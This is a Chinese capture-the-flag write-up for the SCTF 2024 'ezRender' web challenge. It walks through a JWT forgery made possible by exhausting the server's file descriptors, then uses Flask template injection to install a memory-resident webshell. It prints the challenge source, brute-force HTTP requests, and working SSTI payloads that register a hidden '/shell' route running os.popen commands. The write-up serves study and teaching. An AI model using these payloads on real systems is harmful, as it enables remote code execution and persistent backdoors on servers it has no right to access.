SCTF 2024 web方向 ezRender wp
SCTF 2024 web方向 ezRender wp 黑盒简单测试 简单说一下,是考的jwt伪造和falsk框架写内存马的题目 题目给了附件,一般喜欢先简单测测功能再去审计代码 经典的登录和注册 随便注册一个用户123,123 登录成功后来到 python写的,大概率ssti 无论输入什么内容都会回显 试试注册admin 但是还是一样的,这时候就可以审计一下代码了 百盒代码审计 这里就审
SCTF 2024 web方向 ezRender wp
黑盒简单测试
简单说一下,是考的jwt伪造和falsk框架写内存马的题目
题目给了附件,一般喜欢先简单测测功能再去审计代码
经典的登录和注册

随便注册一个用户123,123
登录成功后来到

python写的,大概率ssti
无论输入什么内容都会回显

试试注册admin

但是还是一样的,这时候就可以审计一下代码了
百盒代码审计
这里就审计一下代码了
题目给了四个代码,从文件名大概能明白他们的功能
app.py
from flask import Flask, render_template, request, render_template_string,redirect
from verify import *
from User import User
import base64
from waf import waf
app = Flask(__name__,static_folder="static",template_folder="templates")
user={}
@app.route('/register', methods=["POST","GET"])
def register():
method=request.method
if method=="GET":
return render_template("register.html")
if method=="POST":
data = request.get_json()
name = data["username"]
pwd = data["password"]
if name != None and pwd != None:
if data["username"] in user:
return "This name had been registered"
else:
user[name] = User(name, pwd)
return "OK"
@app.route('/login', methods=["POST","GET"])
def login():
method=request.method
if method=="GET":
return render_template("login.html")
if method=="POST":
data = request.get_json()
name = data["username"]
pwd = data["password"]
if name != None and pwd != None:
if name not in user:
return "This account is not exist"
else:
if user[name].pwd == pwd:
token=generateToken(user[name])
return "OK",200,{"Set-Cookie":"Token="+token}
else:
return "Wrong password"
@app.route('/admin', methods=["POST","GET"])
def admin():
try:
token = request.headers.get("Cookie")[6:]
except:
return "Please login first"
else:
infor = json.loads(base64.b64decode(token))
name = infor["name"]
token = infor["secret"]
result = check(user[name], token)
method=request.method
if method=="GET":
return render_template("admin.html",name=name)
if method=="POST":
template = request.form.get("code")
if result != "True":
return result, 401
#just only blackList
if waf(template):
return "Hacker Found"
result=render_template_string(template)
print(result)
if result !=None:
return "OK"
else:
return "error"
@app.route('/', methods=["GET"])
def index():
return redirect("login")
@app.route('/removeUser', methods=["POST"])
def remove():
try:
token = request.headers.get("Cookie")[6:]
except:
return "Please login first"
else:
infor = json.loads(base64.b64decode(token))
name = infor["name"]
token = infor["secret"]
result = check(user[name], token)
if result != "True":
return result, 401
rmuser=request.form.get("username")
user.pop(rmuser)
return "Successfully Removed:"+rmuser
if __name__ == '__main__':
# for the safe
del __builtins__.__dict__['eval']
app.run(debug=False, host='0.0.0.0', port=8080)
简单来说就是有注册登录删除用户的功能
然后漏洞很明显就是登录admin之后可以ssti注入
然后是验证代码
import json
import hashlib
import base64
import jwt
from app import *
from User import *
def check(user,crypt):
verify_c=crypt
secret_key = user.secret
try:
decrypt_infor = jwt.decode(verify_c, secret_key, algorithms=['HS256'])
if decrypt_infor["is_admin"]=="1":
return "True"
else:
return "You r not admin"
except:
return 'Don\'t be a Hacker!!!'
def generateToken(user):
secret_key=user.secret
secret={"name":user.name,"is_admin":"0"}
verify_c=jwt.encode(secret, secret_key, algorithm='HS256')
infor={"name":user.name,"secret":verify_c}
token=base64.b64encode(json.dumps(infor).encode()).decode()
return token
一目了然,就是jwt伪造,获得了key之后伪造is_admin为1
而key的生成是在
Use.py
import time
class User():
def __init__(self,name,password):
self.name=name
self.pwd = password
self.Registertime=str(time.time())[0:10]
self.handle=None
self.secret=self.setSecret()
def handler(self):
self.handle = open("/dev/random", "rb")
def setSecret(self):
secret = self.Registertime
try:
if self.handle == None:
self.handler()
secret += str(self.handle.read(22).hex())
except Exception as e:
print("this file is not exist or be removed")
return secret
可以看到key是有两部分组成,一部分是时间搓,这个我们还是很好获得的,但是第二个部分的话随机的密钥就很难获得了
key的获取
这里当时放了hint的,提示就非常明显了
ulimit -n =2048
cat /etc/timezone : UTC
拷打我的gpt小弟
ulimit -n = 2048:
- 这是用于设置和查看当前用户的系统资源限制的命令,其中
-n选项表示“文件描述符的最大数量”。ulimit -n = 2048意味着当前用户最多可以打开 2048 个文件描述符(包括文件、套接字等)。 - 这一设置通常用于防止系统资源被耗尽,特别是当应用程序需要打开大量文件时。
cat /etc/timezone : UTC:
cat /etc/timezone用于查看系统的当前时区设置。输出为UTC,表示系统的当前时区为协调世界时 (UTC, Universal Time Coordinated),而不是像 CST、EST 等具体地区的时区。- UTC 是一种标准的时间格式,常用于服务器和全球分布式系统中,以避免时区差异带来的时间计算问题。
一个用户只能打开2048个文件描述符,嘿嘿嘿,如果一个用户存在,那么就相当于一个用户有一个描述符了,我们只需要注册的用户大于2048,那么就打不开/dev/random,剩下的只有时间搓了
抓包去修改
POST /register HTTP/1.1
Host: 1.95.40.5:34953
Content-Length: 37
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://1.95.40.5:34953
Referer: http://1.95.40.5:34953/register
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Token=eyJuYW1lIjogIjEyMyIsICJzZWNyZXQiOiAiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnVZVzFsSWpvaU1USXpJaXdpYVhOZllXUnRhVzRpT2lJd0luMC55OUVRb0ZjRTE5Q19HQUhLamlZQTFhbTc3R2RCNkFDbmJ3dUFDVVlyTnNnIn0=
Connection: keep-alive
{"username":"admin§1§","password":"123"}
然后去爆破

时间搓在响应里面有
HTTP/1.1 200 OK
Server: Werkzeug/3.0.4 Python/3.9.17
Date: Tue, 01 Oct 2024 09:28:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2
Connection: close
OK
gpt搞个脚本转换一下
import time
from datetime import datetime
time_string = "Tue, 01 Oct 2024 09:28:27 GMT"
timestamp = int(time.mktime(time.strptime(time_string, "%a, %d %b %Y %H:%M:%S %Z")))
print(timestamp)
//可能有延迟,扩大范围爆一下也可以
获取到key之后我们就可以去伪造jwt了

注意这时候伪造好了jwt后需要我们去删除一些用户了,因为现在不允许我们打开任何页面了,会卡死
bp抓包批量删除用户,就是和注册一样差不多的操作
python内存马注入
这里简单学习一下python内存马
简单搭建一个环境
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def hello_world(): # put application's code here
person = 'knave'
if request.args.get('name'):
person = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % person
return render_template_string(template)
if __name__ == '__main__':
app.run()
执行后访问我们的shell路由,然后就可以执行命令
比如cmd=dir
常见的paylaod如下
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)
1
url_for.__globals__['__builtins__']['eval']
这个就是去获取我们的恶意模块eval
比如我们现在就可以执行命令了
http://127.0.0.1:5000/?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').system('calc')")}}

但是我们研究python内存马,就需要找无文件落地的方法
在python中,我们就要注册一个恶意的路由,并且可以执行恶意方法
这就涉及到我们payload一个关键的点了app.add_url_rule函数
在Flask中注册路由的时候是添加的@app.route装饰器来实现的。
我们看看代码,它内部调用
def decorator(f: T_route) -> T_route:
endpoint = options.pop("endpoint", None)
self.add_url_rule(rule, endpoint, f, **options)
return f
add_url_rule函数,说明创建路由的时候,会使用add_url_rule来进行一个创建
def add_url_rule(
self,
rule: str,
endpoint: str | None = None,
view_func: ft.RouteCallable | None = None,
provide_automatic_options: bool | None = None,
**options: t.Any,
)
可以看到它接受的参数
- rule:函数对应的URL规则,满足条件和app.route()的第一个参数一样,必须以
/开头; endpoint:这是URL规则的端点名。默认情况下,Flask会使用视图函数的名字作为端点名。在路由到视图函数的过程中,Flask会使用这个端点名。view_func:这是一个函数,当请求匹配到对应的URL规则时,Flask会调用这个函数,并将结果返回给客户端。
from flask import Flask
app = Flask(__name__)
def hello():
return "Hello, World!"
app.add_url_rule('/', 'hello', hello)
if __name__ == '__main__':
app.run()
在这个例子中,我们使用add_url_rule函数将URL规则 '/' 与hello函数绑定。当访问 '/' 时,Flask会调用hello函数,并将返回的字符串 "Hello, World!" 发送给客户端。
所以给了我们机会,如果我们能够调用这个函数,而且参数都可以控制,我们访问一个路由就可以执行我们的恶意代码
在我们的paylaod之中
lambda即匿名函数, Payload中add_url_rule函数的第三个参数定义了一个lambda匿名函数, 其中通过os库的popen函数执行从Web请求中获取的cmd参数值并返回结果, 其中该参数值默认为whoami.
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}这一截Payload. _request_ctx_stack是Flask的一个全局变量, 是一个LocalStack实例, 这里的_request_ctx_stack即下文中提到的Flask 请求上下文管理机制中的_request_ctx_stack. app也是Flask的一个全局变量, 这里即获取当前的app.
后面指明了所需变量的全局命名空间, 保证app和_request_ctx_stack都可以被找到.
还有为什么我们的函数名必须为匿名函数呢?
如果我们随便取一个名字都不能注入成功
在Python中,lambda函数也被称为匿名函数。与def定义的正式函数不同,它不需要函数名。当我们在代码中使用lambda创建一个函数时,这个函数就被纳入了当前的命名空间。
在你的例子中,'lambda' 函数被作为参数动态地添加到before_request_funcs列表中。由于它是一个新创建的匿名函数,它不会与当前命名空间中的任何已存在的函数名冲突,所以可以成功注入。
而如果尝试替换lambda为已存在的函数名,注入会失败。这是因为在Python中,函数名也是一个标识符,每个标识符在其所在的命名空间中都有唯一的含义。重复的函数名将导致冲突,函数名已经被绑定到另一个函数对象上,所以不能成功注入。
其次,def创建的函数是在解析时立即执行的,这导致在此类注入攻击场景下使用已存在的函数名,会在解析阶段就执行,而非等待触发该请求处理函数时执行,这会导致执行时刻不符合预期,有可能因此无法成功注入。
故在这种情况下,选择使用lambda函数(匿名函数)可以避免这些问题,使注入攻击得以成功执行。一般来说,我们应确保对用户输入进行严格的过滤和处理,可以避免此类注入攻击。
其实还有更见简单的方法,我们只需要获取request就好了,paylaod后面可以简写为
popen(request.args.get('cmd')).read())
回到题目
然后就是去ssti注入了,ssti的话fengjin现在几乎都是可以梭哈的了
随便测试一下题目没有回显

把fengjing的payload改成打内存马
